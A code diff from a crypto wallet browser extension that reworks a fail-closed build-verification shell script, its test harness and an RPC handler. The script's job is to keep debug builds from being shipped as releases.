no release 1 "is missing. build.js writes it" c_receipt_missing no release 1 "dist/constants-bundles.txt is missing." \
c_manifest_missing
check_case "receipt empty" \ check_case "manifest empty" \
no release 1 "is empty, so the build wrote nothing to it" \ no release 1 "is empty, so no emitted bundle was found to contain" \
c_receipt_empty c_manifest_empty
check_case "receipt unreadable" \ check_case "manifest unreadable" \
yes release 1 "is not readable, so nothing was inspected." \ yes release 1 "is not readable, so nothing was inspected." \
c_receipt_unreadable c_manifest_unreadable
check_case "receipt is not a build receipt" \ check_case "listed bundle missing" \
no release 1 "does not start with" c_receipt_bad_header
check_case "receipt from a different checkout" \
no release 1 "was written by a build of a different tree" \
c_receipt_other_tree
check_case "receipt names a path containing a space" \
no release 1 "cannot be read back unambiguously" \
c_receipt_path_with_space
check_case "receipt names a path outside dist/" \
no release 1 "names a path that is not under dist/" \
c_receipt_path_outside_dist
check_case "emitted file missing" \
no release 1 \ no release 1 \
"names dist/chrome/src/popup/index.js, which does not exist." \ "lists dist/chrome/src/popup/index.js, which does not exist." \
c_emitted_missing c_bundle_missing
check_case "emitted file empty" \ check_case "listed bundle empty" \
no release 1 "which is empty. An empty file" c_emitted_empty no release 1 "which is empty. An empty bundle" c_bundle_empty
check_case "emitted file unreadable" \ check_case "listed bundle unreadable" \
yes release 1 \ yes release 1 \
"on dist/chrome/src/popup/index.js, so its bytes were never read" \ "reading dist/chrome/src/popup/index.js, so the file could not be" \
c_emitted_unreadable c_bundle_unreadable
check_case "emitted bundle carries no marker" \ check_case "unlisted extension carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
c_unlisted_extension
check_case "listed bundle carries no marker" \
no release 1 "carries no debug marker, so its DEBUG state cannot be" \ no release 1 "carries no debug marker, so its DEBUG state cannot be" \
c_no_marker c_no_marker
check_case "emitted bundle carries both markers" \ check_case "listed bundle carries both markers" \
no release 1 "carries both debug markers, so DEBUG was not resolved" \ no release 1 "carries both debug markers, so DEBUG was not resolved" \
c_both_markers c_both_markers
check_case "marker on a file the build did not record as a bundle" \ check_case "wrong marker for the requested mode" \
no release 1 "carries a debug marker but the build did not" \ no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
c_marker_on_plain_file c_control
check_makefile_wiring
} }
# --- main -------------------------------------------------------------------- # --- main --------------------------------------------------------------------
# The harness cannot build a receipt without a digest, so a missing sha256
# command is a failure here rather than a silent reduction in coverage.
pick_sha256_tool() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256_CMD="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256_CMD="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256_CMD="openssl dgst -sha256 -r"
else
echo "test-verify-build: no sha256 command found (tried sha256sum," \
"shasum, openssl), so no fixture receipt can be written" >&2
exit 1
fi
}
main() { main() {
cd "$ROOT" cd "$ROOT"
@@ -742,7 +409,6 @@ main() {
} }
echo "Testing script/verify-build failure modes..." echo "Testing script/verify-build failure modes..."
pick_sha256_tool
probe_permission_runner probe_permission_runner
if [ "$PERM_ENABLED" = yes ]; then if [ "$PERM_ENABLED" = yes ]; then
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \ echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -760,11 +426,11 @@ main() {
if [ "$SKIPPED" -ne 0 ]; then if [ "$SKIPPED" -ne 0 ]; then
cat <<EOF cat <<EOF
################################################################################ ################################################################################
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM. ## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
## This process is uid $(id -u), and no runner subject to file permissions was ## PROVE THEM. This process is uid $(id -u), and no runner subject to file
## available. Tried: $PERM_HOW. ## permissions was available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so the permission cases ## Under root, chmod 000 stops neither find nor grep, so these cases would
## would have passed without testing anything. They were skipped, not counted: ## have passed without testing anything. They were skipped, not counted:
$SKIPPED_NAMES################################################################################ $SKIPPED_NAMES################################################################################
EOF EOF
echo "test-verify-build: $PASSED case(s) passed," \ echo "test-verify-build: $PASSED case(s) passed," \

View File

@@ -1,91 +1,45 @@
#!/bin/sh #!/bin/sh
# script/verify-build: assert that dist/ holds exactly what the build that just # script/verify-build: assert the compiled DEBUG state of the emitted
# ran emitted, and that the compiled DEBUG state of that output is the one the # bundles. Our own extension to scripts-to-rule-them-all, run at the end of
# caller asked for. Our own extension to scripts-to-rule-them-all, run at the # make build / make build-debug.
# end of make build / make build-debug.
# #
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery # Why this exists: DEBUG makes the publicly committed test recovery phrase the
# phrase the output of wallet creation, so a release artifact built with it live # output of wallet creation, so a release artifact built with it live hands
# hands every new wallet to anyone who reads the repo. The test suite cannot see # every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes the # this, because it loads src/shared/constants.js outside a bundle and takes
# fallback branch; the property only exists in the emitted output, so it has to # the fallback branch; the property only exists in the emitted output, so it
# be asserted against the emitted output. # has to be asserted against the emitted output.
# #
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never # What it reads: dist/constants-bundles.txt, written by build.js from
# taken from this script's environment. It used to be read from # esbuild's metafile, naming every emitted bundle that contains
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1 # src/shared/constants.js. Each of those must carry exactly one of the two
# exported in their shell could run the release target, get a debug build, and # BUILD_DEBUG_MARKER literals that constants.js folds down to.
# have it verified green and exit 0. There is also no default: a caller that
# does not say what it built gets a failure, because "no opinion" is not a
# state this can check anything against.
# #
# Why the provenance half exists: on its own, a marker grep proves nothing # It fails rather than passes whenever it cannot determine a bundle's state.
# about where the bytes came from. A 26-byte file containing only the marker # Minified output is not a stable contract, so "matched neither form" is not
# string used to verify ok; the content script and manifest.json were not read # evidence of anything and must never read as green.
# at all; an entire hand-written dist/ passed. The list of files to check has
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
# emitted, with each file's sha256 and whether it is one of the bundles
# containing src/shared/constants.js, and the Makefile creates that receipt
# path fresh per invocation, outside the repo, and deletes it afterwards.
#
# What that does and does not establish. It establishes that dist/ is byte for
# byte the output of the build.js run that just finished, with nothing added,
# nothing missing and nothing altered in between, and that the audited bundles
# in it compiled to the requested mode. It does NOT establish that the source
# tree or build.js were honest, and it says nothing at all to someone handed a
# dist/ from elsewhere: without the receipt from its own build they have no
# input to this check. That is signing, and it is not this control.
#
# It fails rather than passes whenever it cannot determine something. Minified
# output is not a stable contract, so "matched neither marker" is not evidence
# of anything and must never read as green; the same discipline applies to
# every read here, which is why a grep or a digest that could not be taken is
# a hard failure and not an absence of a problem.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere. # Absolute path to this script, resolved before anything cd's anywhere.
# check_dist_tree re-invokes it through xargs, and $0 on its own may be # check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
# relative to a directory we are about to leave. # relative to a directory we are about to leave.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")" SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag; see scan_dist_paths. # Internal re-entry flag; see scan_dist_paths.
SCAN_FLAG="--scan-dist-paths" SCAN_FLAG="--scan-dist-paths"
# A literal newline and tab, for the receipt-shape guards. # A literal newline, for the is_listed guard.
NEWLINE=' NEWLINE='
' '
TAB=' '
MANIFEST="dist/constants-bundles.txt"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1" # Set by read_marker.
# Set by the arguments.
RECEIPT=""
EXPECT=""
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
# receipt line number the diagnostics quote.
MARKER="" MARKER=""
SHA=""
ENTRY_HASH=""
ENTRY_FLAG=""
ENTRY_PATH=""
LINENO_R=0
# The sha256 command, chosen by pick_sha256.
SHA256=""
# Totals: the shape pass counts what the receipt claims, the entries pass
# counts what was actually checked against dist/, and the summary reports the
# latter.
SHAPE_COUNT=0
SHAPE_AUDITED=0
COUNT=0
AUDITED=0
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
# trap because fail() exits from wherever it is called. # trap because fail() exits from wherever it is called.
@@ -96,17 +50,11 @@ fail() {
exit 1 exit 1
} }
usage() {
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
}
cleanup() { cleanup() {
[ -z "$LISTING" ] || rm -f "$LISTING" [ -z "$LISTING" ] || rm -f "$LISTING"
} }
trap cleanup EXIT trap cleanup EXIT
# --- reading files ----------------------------------------------------------
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
# (exit 1) are answers about the emitted output. Anything else (exit 2: the # (exit 1) are answers about the emitted output. Anything else (exit 2: the
# file could not be read) is not an answer at all, and must not be reported as # file could not be read) is not an answer at all, and must not be reported as
@@ -126,46 +74,34 @@ has_marker() {
esac esac
} }
# Pick the sha256 command once. All three print the digest as the first # Does the manifest list the path $1, as a whole line? Same discipline as
# whitespace-delimited field. If none is present the digests cannot be taken at # has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
# all, and this script has nothing left to check with, so it fails rather than # manifest could not be read and is not an answer at all. Without this, an
# degrading to the marker grep it used to be. # unreadable manifest reads as "this file is not listed" and every emitted
pick_sha256() { # bundle gets reported as an unlisted one.
if command -v sha256sum >/dev/null 2>&1; then #
SHA256="sha256sum" # A path containing a newline is answered without asking grep, because grep
elif command -v shasum >/dev/null 2>&1; then # would read the pattern as two patterns and report a match on either. That is
SHA256="shasum -a 256" # how such a path escaped this check even once the walk stopped splitting it:
elif command -v openssl >/dev/null 2>&1; then # the half before the newline matched a listed line and the file was skipped.
SHA256="openssl dgst -sha256 -r" # The manifest is line-delimited, so it cannot name such a path at all, and
else # "not listed" is the only true answer.
fail "no sha256 command found (tried sha256sum, shasum, openssl), so is_listed() {
the emitted files cannot be checked against the build receipt at all. case "$1" in
Refusing to report success." *"$NEWLINE"*) return 1 ;;
fi esac
} _il_status=0
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and case "$_il_status" in
# not a pass: it means the artifact was never read. 0) return 0 ;;
read_sha256() { 1) return 1 ;;
_rs_status=0 *)
# Word-split on purpose: SHA256 is a command with its arguments. fail "grep exited $_il_status reading $MANIFEST, so it could not be
# shellcheck disable=SC2086 searched and nothing was established about which bundles it lists. That is
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$? a permissions or I/O fault on the manifest, not a stale manifest. Refusing
[ "$_rs_status" -eq 0 ] || to report success."
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
and nothing was established about them. That is a permissions or I/O fault
on the artifact, not a mismatch. Refusing to report success."
SHA="${_rs_out%% *}"
case "$SHA" in
"" | *[!0-9a-f]*)
fail "$SHA256 produced no usable digest for $1, so its bytes were never
checked. Refusing to report success."
;; ;;
esac esac
[ "${#SHA}" -eq 64 ] ||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
a sha256. Refusing to report success."
} }
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -204,189 +140,40 @@ read_marker() {
fi fi
} }
# --- the receipt ------------------------------------------------------------ # The manifest says which bundles must carry a marker. This says no other
# emitted file may carry one, which catches a manifest that has gone stale
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and # or short rather than trusting whatever it happens to list.
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
# remainder of the line, so a path carrying a space or a tab would be read back
# as something other than what was written; build.js refuses to emit such a
# name, and a receipt that contains one is malformed rather than describing a
# file. Every rejection here is a failure: a line that cannot be understood is
# a file that would otherwise go unchecked.
parse_file_line() {
case "$1" in
"file "*) ;;
*)
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
not know what it means: ${1}. Refusing to report success."
;;
esac
_pl="${1#file }"
ENTRY_HASH="${_pl%% *}"
_pl="${_pl#* }"
ENTRY_FLAG="${_pl%% *}"
ENTRY_PATH="${_pl#* }"
case "$ENTRY_HASH" in
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
esac
[ "${#ENTRY_HASH}" -eq 64 ] ||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
which is not a sha256: $1"
case "$ENTRY_FLAG" in
A | P) ;;
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
esac
case "$ENTRY_PATH" in
dist/*) ;;
*)
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
;;
esac
case "$ENTRY_PATH" in
*" "* | *"$TAB"* | *"$NEWLINE"*)
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
cannot be read back unambiguously from a line-oriented receipt: $1"
;;
esac
}
# Check one emitted file against its receipt entry: it must be a regular file
# with exactly the recorded bytes, and its debug marker must match what the
# caller said this build was.
check_entry() {
[ ! -h "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
build emits regular files only, so this is not the file it wrote. Refusing
to report success."
[ -f "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
not hold what the build emitted."
[ -s "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
carries no marker and matches no digest, so this is a failure and not a
pass."
read_sha256 "$ENTRY_PATH"
[ "$SHA" = "$ENTRY_HASH" ] ||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
to dist/ after the build, so this artifact is not the one that was built."
if [ "$ENTRY_FLAG" = A ]; then
read_marker "$ENTRY_PATH"
[ "$MARKER" = "$EXPECT" ] ||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
build, that is why: the flag still reaches the compiler, and this is the
check that stops the debug artifact being taken for a release one."
echo " ok: $ENTRY_PATH ($MARKER)"
AUDITED=$((AUDITED + 1))
else
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
fail "$ENTRY_PATH carries a debug marker but the build did not
record it as containing src/shared/constants.js. build.js selects audited
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
set means the test no longer describes what is emitted, and the DEBUG state
of this file was never asserted against anything."
fi
fi
COUNT=$((COUNT + 1))
}
# Walk the receipt line by line, applying $1 to each file entry. The header and
# the root line are checked on the way past; the root line is what stops a
# receipt written by a build of some other tree being pointed at this one.
walk_receipt() {
_wr_each="$1"
LINENO_R=0
_line=""
while IFS= read -r _line || [ -n "$_line" ]; do
LINENO_R=$((LINENO_R + 1))
if [ "$LINENO_R" -eq 1 ]; then
[ "$_line" = "$RECEIPT_HEADER" ] ||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
is not a build receipt this script understands. Refusing to report
success."
continue
fi
if [ "$LINENO_R" -eq 2 ]; then
[ "$_line" = "root $ROOT" ] ||
fail "$RECEIPT was written by a build of a different tree: it
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
the tree it was built in."
continue
fi
parse_file_line "$_line"
"$_wr_each"
done <"$RECEIPT"
[ "$LINENO_R" -ge 2 ] ||
fail "$RECEIPT is truncated: it has no root line, so it is not a
receipt this script can check anything against."
}
# Pass one: the receipt has to be a receipt before anything is concluded from
# it. A line this script cannot read is a file that would go unchecked, and a
# receipt naming no audited bundle asserts no DEBUG state at all — both are
# failures, and both have to be established before the tree is walked against
# it, because a receipt entry that was misread would otherwise surface as a
# complaint about dist/.
count_entry() {
SHAPE_COUNT=$((SHAPE_COUNT + 1))
if [ "$ENTRY_FLAG" = A ]; then
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
fi
}
check_receipt_shape() {
SHAPE_COUNT=0
SHAPE_AUDITED=0
walk_receipt count_entry
[ "$SHAPE_COUNT" -gt 0 ] ||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
build always emits some."
[ "$SHAPE_AUDITED" -gt 0 ] ||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
no DEBUG state would be asserted at all. That is never correct, so it is a
failure and not a pass."
}
# Pass three: every file the receipt names, checked against the bytes on disk.
check_receipt_entries() {
walk_receipt check_entry
}
# --- the emitted tree -------------------------------------------------------
# The receipt says which files the build emitted. This says dist/ contains no
# others: an artifact that was added after the build, or that a hand-written
# dist/ brought with it, is not something the build vouches for and is not
# something this check may pass over.
# #
# The walk has to be exhaustive and every name has to survive it intact, so # Deliberately unfiltered by extension. build.js selects manifest entries with
# four things are enforced rather than assumed: # an endsWith(".js") test; repeating that literal here would mean a bundle
# emitted under some other extension escaped the manifest AND this check at
# once, which is the correlated blind spot the two-source design exists to
# avoid. Every regular file and every symlink under dist/ is searched — that
# is the whole of what a build emits — so build.js's filter is the only place
# the assumption lives and this check is what catches it being wrong.
#
# That claim only holds if the walk is exhaustive and every name survives it
# intact, so four things are enforced here rather than assumed:
# #
# - the walk is NUL-delimited and the paths reach the check as arguments, so # - the walk is NUL-delimited and the paths reach the check as arguments, so
# no name can be reshaped on the way in. Read line by line, a name with a # no name can be reshaped on the way in. Read line by line, a name with a
# trailing space lost it to read's field splitting and the remnant then # trailing space lost it to read's field splitting and the remnant then
# matched a listed path, and a name containing a newline arrived as a # matched a manifest line, and a name containing a newline arrived as a
# listed path plus an empty one. Both left an unchecked file in dist/ while # listed path plus an empty one. Both left a marker-carrying, unlisted file
# the script still reported success. # unchecked while the script still reported success. Delivering such a name
# intact is only half of it; is_listed also has to keep it out of grep's
# pattern, for the same reason.
# - find's exit status is checked. A subtree it cannot descend is reported on # - find's exit status is checked. A subtree it cannot descend is reported on
# stderr and then simply missing from the listing, so an unchecked status # stderr and then simply missing from the listing, so an unchecked status
# turns "could not look" into "nothing was there" — the same conflation # turns "could not look" into "nothing was there" — the same conflation
# has_marker exists to prevent. The status cannot be read off a pipeline, # has_marker exists to prevent. The status cannot be read off a pipeline,
# so the listing lands in a file that xargs then reads back. # so the listing lands in a file that xargs then reads back.
# - symlinks are walked too (-type l), not skipped. The build emits none, so # - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
# a symlink under dist/ is a path the build did not produce, whatever it # reachable under an unlisted path in dist/ is a stale manifest whether the
# points at, and it fails as one instead of being read through. # path is a link or a file, and grep reads through the link. A link that
# cannot be read through — dangling, or pointing at a directory — fails
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
# build emits neither, so their DEBUG state is unproven, not fine.
# - dist/ itself must be a directory and not a symlink, which main asserts # - dist/ itself must be a directory and not a symlink, which main asserts
# before anything reads through it. find does not follow a symlink named on # before anything reads through it. find does not follow a symlink named on
# its own command line, so a linked dist/ collapses this walk to one entry # its own command line, so a linked dist/ collapses this walk to one entry
@@ -394,7 +181,7 @@ check_receipt_entries() {
# #
# Types other than regular files and symlinks are left out on purpose: a build # Types other than regular files and symlinks are left out on purpose: a build
# emits none of them, and grep on a fifo would hang rather than fail. # emits none of them, and grep on a fifo would hang rather than fail.
check_dist_tree() { check_unlisted_bundles() {
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" || LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
fail "could not create a temporary file for the dist/ listing, so the fail "could not create a temporary file for the dist/ listing, so the
tree was never walked. Refusing to report success." tree was never walked. Refusing to report success."
@@ -404,196 +191,105 @@ check_dist_tree() {
[ "$_find_status" -eq 0 ] || [ "$_find_status" -eq 0 ] ||
fail "find exited $_find_status enumerating dist/, so part of the tree fail "find exited $_find_status enumerating dist/, so part of the tree
was never walked and nothing was established about the files in it. Any was never walked and nothing was established about the files in it. Any
file the build did not emit could be sitting there unchecked. That is a unlisted bundle there went unchecked. That is a permissions or I/O fault on
permissions or I/O fault on the artifact. Refusing to report success." the artifact, not a stale manifest. Refusing to report success."
_scan_status=0 _scan_status=0
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$? xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
[ "$_scan_status" -eq 0 ] || [ "$_scan_status" -eq 0 ] ||
fail "the dist/ tree scan exited $_scan_status: either a path under fail "the unlisted-bundle scan exited $_scan_status: either a path
dist/ failed the check reported above, or the scan could not be run at all. under dist/ failed the check reported above, or the scan could not be run
Refusing to report success." at all. Refusing to report success."
} }
# Does the receipt name the path $1? Compared as whole strings, never through # The per-path half of check_unlisted_bundles. It runs in a re-invocation of
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not # this script, so it uses the same is_listed and has_marker as the rest of the
# the place to put one. The receipt's own paths are known to carry no # file rather than a second copy of them that could drift. Paths arrive as
# whitespace by the time this runs — verify_receipt failed the run otherwise — # arguments and are never split, joined or trimmed.
# so stripping the three leading fields recovers each one exactly.
receipt_names() {
_rn_want="$1"
_rn_line=""
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
case "$_rn_line" in
"file "*) ;;
*) continue ;;
esac
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
done <"$RECEIPT"
return 1
}
# The per-path half of check_dist_tree. It runs in a re-invocation of this
# script, so it uses the same helpers as the rest of the file rather than a
# second copy of them that could drift. Paths arrive as arguments and are never
# split, joined or trimmed.
scan_dist_paths() { scan_dist_paths() {
for _file in "$@"; do for _file in "$@"; do
if [ -h "$_file" ]; then if is_listed "$_file"; then
fail "$_file is a symlink under dist/. The build emits regular
files only, so this path is not something it produced, and what it points
at is not what was verified. Refusing to report success."
fi
if receipt_names "$_file"; then
continue continue
fi fi
fail "$_file is under dist/ but the build that just ran did not emit if has_marker "$MARKER_ON" "$_file" ||
it. dist/ must contain exactly what the build produced: an extra file there has_marker "$MARKER_OFF" "$_file"; then
is an artifact nothing vouches for, and shipping the directory ships it." fail "$_file carries a debug marker but is absent from $MANIFEST,
so the manifest no longer describes the emitted bundles."
fi
done done
} }
# --- arguments -------------------------------------------------------------- # The requested mode, read from our own environment using build.js's exact
# rule: only the literal 1 opts in. Deliberately not taken from anything
# The expected mode and the receipt are stated by the caller. Nothing is read # build.js records about itself, so build.js cannot vouch for build.js.
# from the environment, and there is no default for either. expected_marker() {
parse_args() { if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
while [ "$#" -gt 0 ]; do echo "$MARKER_ON"
case "$1" in else
--expect) echo "$MARKER_OFF"
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)." fi
set_expect "$2"
shift 2
;;
--expect=*)
set_expect "${1#--expect=}"
shift
;;
--receipt)
[ "$#" -ge 2 ] || fail "--receipt needs a path."
set_receipt "$2"
shift 2
;;
--receipt=*)
set_receipt "${1#--receipt=}"
shift
;;
*)
usage
fail "unknown argument: $1"
;;
esac
done
} }
set_expect() {
[ -z "$EXPECT" ] || fail "--expect given more than once."
case "$1" in
release) EXPECT="$MARKER_OFF" ;;
debug) EXPECT="$MARKER_ON" ;;
*) fail "--expect takes release or debug, not \"$1\"." ;;
esac
}
set_receipt() {
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
[ -n "$1" ] || fail "--receipt was given an empty path."
# Resolved against the caller's directory, before main cd's to the repo
# root.
case "$1" in
/*) RECEIPT="$1" ;;
*) RECEIPT="$PWD/$1" ;;
esac
}
# --- main -------------------------------------------------------------------
main() { main() {
# Internal re-entry from check_dist_tree's xargs. Not part of the cd "$ROOT"
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the
# command-line interface: nothing else invokes it, and it is a distinct # command-line interface: nothing else invokes it, and it is a distinct
# entry point rather than a mode flag threaded through the checks below. # entry point rather than a mode flag threaded through the checks below.
if [ "${1-}" = "$SCAN_FLAG" ]; then if [ "${1-}" = "$SCAN_FLAG" ]; then
shift shift
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
RECEIPT="$1"
shift
cd "$ROOT"
[ -r "$RECEIPT" ] ||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
could not be checked against it. Refusing to report success."
scan_dist_paths "$@" scan_dist_paths "$@"
return 0 return 0
fi fi
parse_args "$@" expected="$(expected_marker)"
echo "Verifying emitted bundles (expecting $expected)..."
[ -n "$EXPECT" ] || {
usage
fail "no --expect argument. The mode this build was supposed to produce
has to be stated by whoever ran the build; it is not a default and it is
not read from AUTISTMASK_DEBUG in this script's environment, because an
operator with that exported would then have their debug build verified as
the release one they asked for."
}
[ -n "$RECEIPT" ] || {
usage
fail "no --receipt argument. The list of files to check comes from the
build that just ran, not from dist/: without it, a hand-written dist/ would
be verifying itself. make build and make build-debug pass one."
}
pick_sha256
cd "$ROOT"
# Asserted here rather than left to grep. A symlinked dist/ used to fail # Asserted here rather than left to grep. A symlinked dist/ used to fail
# only because GNU grep exits 2 on a directory, so the tree walk hit # only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
# has_marker's I/O path by luck; under a grep that exits 1 instead, the # single entry hit has_marker's I/O path by luck; under a grep that exits 1
# whole cross-check would have collapsed into a pass. # instead, the whole cross-check would have collapsed into a pass.
if [ -h dist ]; then if [ -h dist ]; then
fail "dist is a symlink, not a directory. find does not follow a fail "dist is a symlink, not a directory. find does not follow a
symlink named on its own command line, so the tree walk would see one entry symlink named on its own command line, so the unlisted-bundle cross-check
instead of the emitted tree and establish nothing about it. Refusing to would see one entry instead of the emitted tree and establish nothing about
report success." it. Refusing to report success."
fi fi
[ -d dist ] || [ -d dist ] ||
fail "dist is not a directory, so there is no emitted tree to verify. fail "dist is not a directory, so there is no emitted tree to verify.
build.js writes it; run make build first." build.js writes it; run make build first."
case "$RECEIPT" in [ -f "$MANIFEST" ] ||
"$ROOT/dist" | "$ROOT/dist/"*) fail "$MANIFEST is missing. build.js writes it at the end of a
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in successful build; run make build first."
the tree it describes is rewritten by whoever rewrites the tree, and vouches [ -s "$MANIFEST" ] ||
for nothing. make build keeps it outside the repo." fail "$MANIFEST is empty, so no emitted bundle was found to contain
;; src/shared/constants.js. That is never correct, so it is a failure and not
esac a pass."
[ -r "$MANIFEST" ] ||
[ -e "$RECEIPT" ] || fail "$MANIFEST is not readable, so nothing was inspected. That is a
fail "$RECEIPT is missing. build.js writes it at the end of a
successful build; run make build rather than invoking this directly."
[ -f "$RECEIPT" ] ||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
[ -s "$RECEIPT" ] ||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
no account of what it emitted. build.js writes the receipt last, so an
empty one means the build did not finish."
[ -r "$RECEIPT" ] ||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
permissions or I/O fault, not a pass." permissions or I/O fault, not a pass."
echo "Verifying emitted files against the build receipt (expecting" \ count=0
"$EXPECT)..." while read -r file; do
[ -n "$file" ] || continue
[ -f "$file" ] ||
fail "$MANIFEST lists $file, which does not exist."
[ -s "$file" ] ||
fail "$MANIFEST lists $file, which is empty. An empty bundle
carries no marker and proves nothing, so this is a failure and not a pass."
read_marker "$file"
[ "$MARKER" = "$expected" ] ||
fail "$file is $MARKER but this build expects $expected."
echo " ok: $file ($MARKER)"
count=$((count + 1))
done <"$MANIFEST"
# Order matters. The receipt has to be well-formed before it is used as an [ "$count" -gt 0 ] || fail "no bundles were inspected."
# expectation, and the tree has to be walkable in full before any single
# file in it is pronounced on: a subtree that cannot be descended makes
# every file under it look absent, and "could not look" must never be
# reported as "was not there".
check_receipt_shape
check_dist_tree
check_receipt_entries
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \ check_unlisted_bundles
"$AUDITED bundle(s) $EXPECT"
echo "verify-build: $count bundle(s) verified $expected"
} }
main "$@" main "$@"

View File

@@ -3,11 +3,7 @@
// non-sensitive calls to the configured Ethereum JSON-RPC endpoint. // non-sensitive calls to the configured Ethereum JSON-RPC endpoint.
const { DEFAULT_RPC_URL } = require("../shared/constants"); const { DEFAULT_RPC_URL } = require("../shared/constants");
const { const { SUPPORTED_CHAIN_IDS, networkByChainId } = require("../shared/networks");
SUPPORTED_CHAIN_IDS,
networkById,
networkByChainId,
} = require("../shared/networks");
const { onChainSwitch } = require("../shared/chainSwitch"); const { onChainSwitch } = require("../shared/chainSwitch");
const { const {
state, state,
@@ -667,28 +663,12 @@ async function handleRpc(method, params, origin) {
return { result: [] }; return { result: [] };
} }
// Both answered from currentNetwork(), which reads the module-level state if (method === "eth_chainId") {
// singleton, and nothing populates that at module scope. A worker revived return { result: currentNetwork().chainId };
// by the page's own message therefore held DEFAULT_STATE and told a page }
// it was on mainnet while the user was on Sepolia
// (https://git.eeqj.de/sneak/AutistMask/issues/317). if (method === "net_version") {
// return { result: currentNetwork().networkVersion };
// Answered from getState() rather than by loading the singleton. Any page
// reaches these two — neither is gated on a connection, and the injected
// provider sends eth_chainId on every page load — and loadState() replaces
// state.wallets wholesale, which would detach the address objects an
// in-flight backgroundRefresh() is mutating across its network round trip,
// so its saveState() would persist the pre-refresh balances while still
// stamping lastBalanceRefresh. getState() is the detached per-call storage
// read the other read handlers here already use.
// networkById(undefined) falls back to mainnet, matching the default for a
// profile with no stored networkId.
